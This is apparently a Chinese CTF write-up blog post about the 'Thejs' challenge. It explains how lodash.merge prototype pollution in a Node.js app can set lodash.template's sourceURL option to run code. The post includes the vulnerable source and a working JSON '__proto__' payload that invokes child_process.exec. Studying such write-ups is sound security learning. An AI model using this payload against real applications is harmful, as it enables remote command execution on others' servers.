寒假training-3

dawn_r1sing Lv3

Thejs

参考:

https://www.freebuf.com/vuls/363700.html

https://blog.csdn.net/xk2844600795/article/details/132073747

image-20240225173449740

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})

return callback(null, rendered)
})
})


app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
}

res.render('index', {
language: data.language,
category: data.category
})
})
1、lodash.merge 函数存在原型链污染漏洞
2、lodash.template 源码

capture_20240226091640952

capture_20240226100335267

  • option 对象原本是没有 sourceURL 属性,sourceURL = ‘’

    可以通过原型链污染给源头 object 对象加上一个 sourceURL 属性,此时sourceURL = '//# sourceURL=' + option.sourceURL + '\n'

  • Function 构造器 、 apply 方法

    执行 Function 的第二个参数

image-20240226102142702

通过题目源码可知,可以在 POST 提交的 body 中加上想要的__proto__ ,从而在定义模板引擎时执行代码

payload

1
2
sourceURL = '//# sourceURL=' + option.sourceURL + '\n'
sourceURL + 'return' + source

Nodejschild_process中调用的是/bash.sh,是一个bash解释器,可以执行系统命令,构造require('child_process').exec(xxx)执行命令。

如果上下文中没有require(类似于Code-Breaking 2018 Thejs),则可以使用global.process.mainModule.constructor._load('child_process').exec('calc')来执行命令。

1
2
{"__proto__":{"sourceURL":"\nglobal.process.mainModule.constructor._load('child_process').exec('xxx')//"}}
// 最后注释掉了 '\n' 与 'return source'

又为了让__proto__解析为键名,需要以 JSON 的形式发送

image-20240226121413614

  • Title: 寒假training-3
  • Author: dawn_r1sing
  • Created at : 2024-04-07 11:09:33
  • Updated at : 2024-04-07 11:09:53
  • Link: https://dawnrisingdong.github.io/2024/04/07/寒假training-3/
  • License: This work is licensed under CC BY-NC-SA 4.0.
On this page
寒假training-3